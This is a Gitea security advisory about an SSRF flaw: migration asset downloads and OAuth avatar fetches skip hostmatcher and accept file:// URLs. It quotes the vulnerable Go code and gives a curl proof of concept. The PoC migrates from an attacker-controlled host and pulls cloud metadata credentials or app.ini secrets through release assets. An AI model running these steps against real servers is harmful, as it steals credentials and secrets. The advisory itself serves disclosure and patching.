GHSA-2wm4-vwp6-v7xc
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | code.gitea.io/gitea | < 1.27.0 | 1.27.0 |
| Go | gitea.dev | < 1.27.0 | 1.27.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Gitea has robust SSRF protection via `hostmatcher.NewDialContext()` for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw `http.Get()` (Go's `DefaultClient`) which completely bypasses this protection, enabling SSRF to internal services and local file read via the `file://` scheme.
### Vulnerable Code
**File: `modules/uri/uri.go` (line 32) -- Core vulnerability**
```go
func Open(uriStr string) (io.ReadCloser, error) {
u, err := url.Parse(uriStr)
switch strings.ToLower(u.Scheme) {
case "http", "https":
f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering
return f.Body, nil
case "file":
return os.Open(u.Path) // LOCAL FILE READ via file:// scheme
}
}
```
**Callers in migration path:**
- `services/migrations/gitea_uploader.go:340` -- `uri.Open(*asset.DownloadURL)` for release assets
- `services/migrations/gitea_uploader.go:586` -- `uri.Open(pr.PatchURL)` for PR patches
**File: `services/migrations/dump.go` (lines 312, 453)**
```go
// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)
// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloader
```
**File: `routers/web/auth/oauth.go` (line 306)**
```go
func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
resp, err := http.Get(url) // RAW http.Get -- no hostmatcher
```
**Contrast with protected migration clone (same codebase):**
```go
// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)
```
### PoC
```bash
# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:
# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)
# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
-H "Authorization: token ADMIN_API_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
"repo_name": "migrated-repo",
"repo_owner": "admin",
"service": "gitea"
}'
# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme
# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"
```
### Impact
- **Cloud metadata theft:** `169.254.169.254` reachable via unfiltered `http.Get()` (AWS IMDSv1 credentials, GCP tokens)
- **Local file read:** `file://` scheme in `uri.Open()` reads `/etc/gitea/app.ini` (database credentials, JWT signing secrets, SMTP passwords)
- **Internal service scanning:** Reach `127.0.0.1`, `10.x`, `172.16-31.x`, `192.168.x` networks
- **Bypasses existing SSRF protection:** The `hostmatcher` dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected
- Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source
References
External links from the advisory. They lead to third-party sites.
- https://github.com/go-gitea/gitea/security/advisories/GHSA-2wm4-vwp6-v7xc
- https://nvd.nist.gov/vuln/detail/CVE-2026-59765
- https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31
- https://blog.gitea.com/gitea-1.27.0-is-released
- https://github.com/go-gitea/gitea
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0